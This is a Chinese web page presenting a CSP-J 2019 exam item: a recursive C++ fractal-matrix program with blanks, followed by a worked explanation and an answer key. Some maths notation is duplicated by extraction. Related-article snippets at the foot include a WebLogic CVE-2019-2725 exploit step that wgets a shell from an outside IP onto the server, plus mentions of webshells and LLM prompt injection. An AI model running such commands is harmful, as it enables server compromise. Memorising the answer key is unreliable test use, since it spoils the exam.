CSP-J 2019 入门级 第一轮(初赛) 完善程序(1)

【题目】

CSP-J 2019 入门级 第一轮(初赛) 完善程序(1)
1.(矩阵变幻)有一个奇幻的矩阵,在不停的变幻,其变幻方式为:
数字 0 变成矩阵
0 0
0 1
数字 1 变成矩阵
1 1
1 0
最初该矩阵只有一个元素 0,变幻 n 次后,矩阵会变成什么样?
例如,矩阵最初为:[0];
矩阵变幻 1 次后:
0 0
0 1
矩阵变幻 2 次后:
0 0 0 0
0 1 0 1
0 0 1 1
0 1 1 0
输入一行一个不超过 10 的正整数 n。输出变幻 n 次后的矩阵。
试补全程序。

#include <cstdio>
using namespace std;
int n;
const int max_size = 1 << 10;int res[max_size][max_size];void recursive(int x, int y, int n, int t) {if (n == 0) {res[x][y] =;return;}int step = 1 << (n - 1);recursive(, n - 1, t);recursive(x, y + step, n - 1, t);recursive(x + step, y, n - 1, t);recursive(, n - 1, !t);
}int main() {scanf("%d", &n);recursive(0, 0,);int size =;for (int i = 0; i < size; i++) {for (int j = 0; j < size; j++)printf("%d", res[i][j]);puts("");}return 0;
}

1.①处应填()
A. n%2
B. 0
C. t
D. 1

2.②处应填()
A. x-step,y-step
B. x,y-step
C. x-step,y
D. x,y

3.③处应填()
A. x-step,y-step
B. x+step,y+step
C. x-step,y
D. x,y-step

4.④处应填()
A. n-1,n%2
B. n,0
C. n,n%2
D. n-1,0

5.⑤处应填()
A. 1<<(n+1)
B. 1<<n
C. n+1
D. 1<<(n-1)

【题目考点】

1. 递归:求分形图

【解题思路】

观察可知,
变化0次,得到的矩阵为 1 ∗ 1 1*1 11矩阵。
变化1次,得到的矩阵为 2 ∗ 2 2*2 22矩阵。
变化2次,得到的矩阵为 4 ∗ 4 4*4 44矩阵。
变化3次,得到的矩阵为 8 ∗ 8 8*8 88矩阵。

变化n次,得到的矩阵为 2 n ∗ 2 n 2^n*2^n 2n2n矩阵。

最后遍历输出时,行、列下标应该从0到 2 n − 1 2^n-1 2n1循环,所以size应该为 2 n 2^n 2n1<<n的值就是 2 n 2^n 2n,第(5)空选B。

void recursive(int x, int y, int n, int t) {if (n == 0) {res[x][y] =;return;}int step = 1 << (n - 1);recursive(, n - 1, t);recursive(x, y + step, n - 1, t);recursive(x + step, y, n - 1, t);recursive(, n - 1, !t);
}

递归算法是将规模较大的问题分为几个与原问题形式类似但规模更小的子问题。
下面的几个递归调用就是在解决子问题。
首先step的值为 2 n − 1 2^{n-1} 2n1,这和主函数中的size的意义是相同的,表示当前子矩阵的行数和列数,因此第三个参数n指的是矩阵变换的次数。
要想得到当前变换n次后得到的矩阵,需要先得到4个变换n-1次后得到的矩阵。这四个子矩阵应该分别在变换n次后得到的矩阵的左上,左下,右上,右下四个方向的位置。
当n为0时,该矩阵为 1 ∗ 1 1*1 11矩阵,只有一个元素,该元素的位置为x行y列,res[x][y]这一位置的值为空(1)要填的表达式。
空(1)的选项有:A. n%2,此时n为0,如果填n%2,那么每个位置的值都为0。如果填0或1,每个位置的值都相同。这与行列数大于1的矩阵中有0也有1相矛盾,因此res[x][y]的值只能是t,空(1)选C。
观察接下来的递归调用,有recursive(x, y + step, n - 1, t);recursive(x + step, y, n - 1, t);,其中参数x、y的值分别为x, y+step与x+step, y。结合划分子矩阵的方案,可以知道,(x, y+step)是右上方子矩阵的左上角位置,(x+step, y)是左下方子矩阵的左上角的位置,因此第(2)空应该填左上方子矩阵左上角位置(x, y),选D。第(3)空应该填右下方子矩阵的左上角位置(x+step, y+step) ,选B。
在这里插入图片描述
至于第4个参数t,当n为0时,t就是x,y位置的值。
当n>0时,t决定了该矩阵的形式。在当前题目的定义下,一个 2 n ∗ 2 n 2^n*2^n 2n2n的矩阵的形式有两种,一种左上角为0,一种左上角为1。

比如n为1时,
左上角为0的矩阵为
0 0
0 1
左上角为1的矩阵为
1 1
1 0

将整个 2 n ∗ 2 n 2^n*2^n 2n2n矩阵分成4个 2 n − 1 ∗ 2 n − 1 2^{n-1}*2^{n-1} 2n12n1的矩阵,其中左上、右上、左下的子矩阵的左上角的值和整个矩阵左上角的值相同,只有右下方子矩阵左上角的值与整个矩阵左上角的值不同。
因此t表示的就是矩阵左上角的值。当前函数传入t,指的是当前矩阵左上角值为t,而后前三次递归调用传入的都是t,表示左上、右上、左下的子矩阵的左上角的值和整个矩阵左上角的值相同,第四题递归调用时传入的是!t,表示右下方子矩阵左上角的值与整个矩阵左上角的值不同。
所以主函数中调用recursive函数的写法为:recursive(0, 0, ④);,前两个参数是x和y,表示左上角位置为(0,0),空(4)处需要填第3和第4个参数,矩阵需要变换n次,所以第三个参数填n。整个矩阵的左上角为0,所以第四个参数填0。第(4)空选B

【答案】

  1. C
  2. D
  3. B
  4. B
  5. B

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/53441.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云南自闭症康复寄宿学校:帮助孩子重塑美好未来

在云南这片充满希望的土地上&#xff0c;自闭症儿童的康复教育一直是社会各界关注的焦点。家长们渴望为孩子找到一所能够提供全面支持和专业指导的康复寄宿学校&#xff0c;帮助他们重塑美好未来。而当我们跨越地域的界限&#xff0c;将目光投向广州&#xff0c;星贝育园自闭症…

1网络安全的基本概念

文章目录 网络安全的基本概念可以总结为以下几个方面&#xff1a; 网络安全的需求&#xff1a; 信息安全的重要性&#xff1a;信息安全是计算机、通信、物理、数学等领域的交叉学科&#xff0c;对于社会的发展至关重要。信息安全的目标&#xff1a;主要包括保密性、完整性、可用…

萃取硫酸镍萃取槽技改离心萃取机

将硫酸镍萃取工艺中的萃取槽技改为离心萃取机&#xff0c;是一个旨在提高生产效率、降低能耗、改善产品质量的技术升级过程。以下是对这一技改过程的详细分析&#xff1a; 一、技改背景 传统萃取槽在硫酸镍萃取过程中存在分相效果差、澄清时间长、有夹带等问题&#xff0c;这些…

mat (Eclipse Memory Analyzer Tool)使用以及详解

前言 在Java开发中&#xff0c;内存问题往往不易被发现&#xff0c;但它们可能导致应用性能下降甚至崩溃。Eclipse Memory Analyzer Tool&#xff08;MAT&#xff09;是一个强大的开源工具&#xff0c;专门用于分析Java堆转储&#xff08;heap dumps&#xff09;文件&#xff…

WebLogic命令执行漏洞CVE-2019-2725

1.环境搭建 cd vulhub-master/weblogic/weak_password docker-compose up -d 2.漏洞验证 http://47.121.211.205:7001/_async/AsyncResponseService 说明存在漏洞 3.在当前页面抓包 修改请求包 写入shell wget http://47.121.211.205/1.txt -O servers/AdminServer/tmp/_W…

1.量化第一步,搭建属于自己的金融数据库!

数据是一切量化研究的前提。 做量化没有数据&#xff0c;就相当于做饭时没有食材。 很多时候&#xff0c;我们需要从大量的数据中寻找规律&#xff0c;并从中开发出策略。如果我们每次使用的时候&#xff0c;都从网上去找数据&#xff0c;一方面效率低下&#xff0c;另一方面短…

Redis详细解析

Redis 什么是Redis?关系型与非关系型数据库Redis可以做什么Redis入门安装在Windows系统上安装在Linux系统上安装 Redis在Linux系统上启动运行如何设置redis-server后台运行与关闭如何设置redis客户端登录时需要验证密码**设置允许远程连接redis服务**Redis数据类型Redis常用命…

Spring Boot管理用户数据

目录 学习目标前言Thymeleaf 模板JSON 数据步骤 1: 创建 Spring Boot 项目使用 Spring Initializr 创建项目使用 IDE 创建项目 步骤 2: 添加依赖步骤 3: 创建 Controller步骤 4: 新建index页面步骤 5: 运行应用程序 表单提交步骤 1: 添加 Thymeleaf 依赖在 Maven 中添加依赖 步…

LLM安全风险及应对

LLM安全风险主要从四个维度分析&#xff1a;用户输入、训练数据、模型本身以及工具和插件。 风险类别具体风险风险解释应对措施具体举例用户输入相关风险提示注入&#xff08;Prompt Injection&#xff09;攻击者通过设计特定输入&#xff0c;使模型生成恶意或不安全的输出。- …

基于Ambari搭建hadoop生态圈+Centos7安装教程V2.0优化版(本篇博客写的较为详细,可能比较多,请耐心看)

当我们学习搭建hadoop的时候&#xff0c;未免也会遇见很多繁琐的事情&#xff0c;比如很多错误&#xff0c;需要解决。在以后公司&#xff0c;也不可能让你一个一个搭建hadoop&#xff0c;成千上万的电脑&#xff0c;你再一个个搭建&#xff0c;一个个报错&#xff0c;而且每台…

宿舍管理系统的设计与实现 (含源码+sql+视频导入教程)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 宿舍管理系统拥有三个角色&#xff0c;分别为系统管理员、宿舍管理员以及学生。其功能如下&#xff1a; 管理员&#xff1a;宿舍管理员管理、学生管理、宿舍楼管理、缺勤记录管理、个人密…

Unity 设计模式 之 创建型模式 -【单例模式】【原型模式】 【建造者模式】

Unity 设计模式 之 创建型模式 -【单例模式】【原型模式】 【建造者模式】 目录 Unity 设计模式 之 创建型模式 -【单例模式】【原型模式】 【建造者模式】 一、简单介绍 二、单例模式 (Singleton Pattern) 1、什么时候使用单例模式 2、单例模式的好处 3、使用单例模式的…

Android平台Unity3D下如何同时播放多路RTMP|RTSP流?

技术背景 好多开发者&#xff0c;提到希望在Unity的Android头显终端&#xff0c;播放2路以上RTMP或RTSP流&#xff0c;在设备性能一般的情况下&#xff0c;对Unity下的RTMP|RTSP播放器提出了更高的要求。实际上&#xff0c;我们在前几年发布Unity下直播播放模块的时候&#xf…

9.20日学习记录及相关问题解答

部分一 今天看了一本古老的书。学到了一些有关计算机的远古的知识。弥补了一些之前没有意识到的空白点。 原来上个世纪就有AI这个东西了 现阶段的主流模式&#xff0c;在许多年前其实是将来要发展的对象。 B/S指的是客户机/服务器结构模式 C/S是在B/S基础上发展过来的。三层结…

网络安全-LD_PRELOAD,请求劫持

目录 一、环境 二、开始做题 三、总结原理 四、如何防护 一、环境 我们这里用蚁剑自带的靶场第一关来解释 docker制作一下即可 二、开始做题 首先环境内很明显给我们已经写好了webshell 同样我们也可以访问到 我们使用这个蚁剑把这个webshell连上 我们发现命令不能执行&am…

Dockerfile全面指南:从基础到进阶,掌握容器化构建的核心工具

目录 Dockerfile全面指南&#xff1a;从基础到进阶&#xff0c;掌握容器化构建的核心工具 引言 一、什么是 Dockerfile 二、Dockerfile 的基本结构 三、Dockerfile 的常见配置项 1、多阶段构建 (Multi-stage Builds) 2、缓存优化 3、合并 RUN 命令 四、Dockerfile 使用…

从数据仓库到数据中台再到数据飞轮:我了解的数据技术进化史

这里写目录标题 前言数据仓库&#xff1a;数据整合的起点数据中台&#xff1a;数据共享的桥梁数据飞轮&#xff1a;业务与数据的双向驱动结语 前言 在当今这个数据驱动的时代&#xff0c;企业发展离不开对数据的深度挖掘和高效利用。从最初的数据仓库&#xff0c;到后来的数据…

基于SpringBoot+Vue+MySQL的校园一卡通系统

系统展示 用户前台界面 管理员后台界面 系统背景 随着现代社会的快速发展&#xff0c;校园一卡通已成为大学生活中不可或缺的一部分。它不仅承载着校园消费的功能&#xff0c;还集成了学生身份证明、图书馆借阅、门禁系统等多种服务。然而&#xff0c;传统的一卡通管理系统往往…

OpenCL 学习(2)---- OpenCL Platform 和 Device

目录 OpenCL PlatformOpenCL Device参考代码 OpenCL Platform opencl 支持的 Platform 可以使用 clGetPlatformIDs 函数查询&#xff0c;函数原型如下&#xff1a; clGetPlatformIDs(cl_uint /* num_entries */,cl_platform_id * /* platforms */,cl_uint * …

鸿蒙OpenHarmony【轻量系统内核扩展组件(CPU占用率)】子系统开发

基本概念 CPU&#xff08;中央处理器&#xff0c;Central Processing Unit&#xff09;占用率分为系统CPU占用率和任务CPU占用率。 系统CPU占用率&#xff1a;是指周期时间内系统的CPU占用率&#xff0c;用于表示系统一段时间内的闲忙程度&#xff0c;也表示CPU的负载情况。系…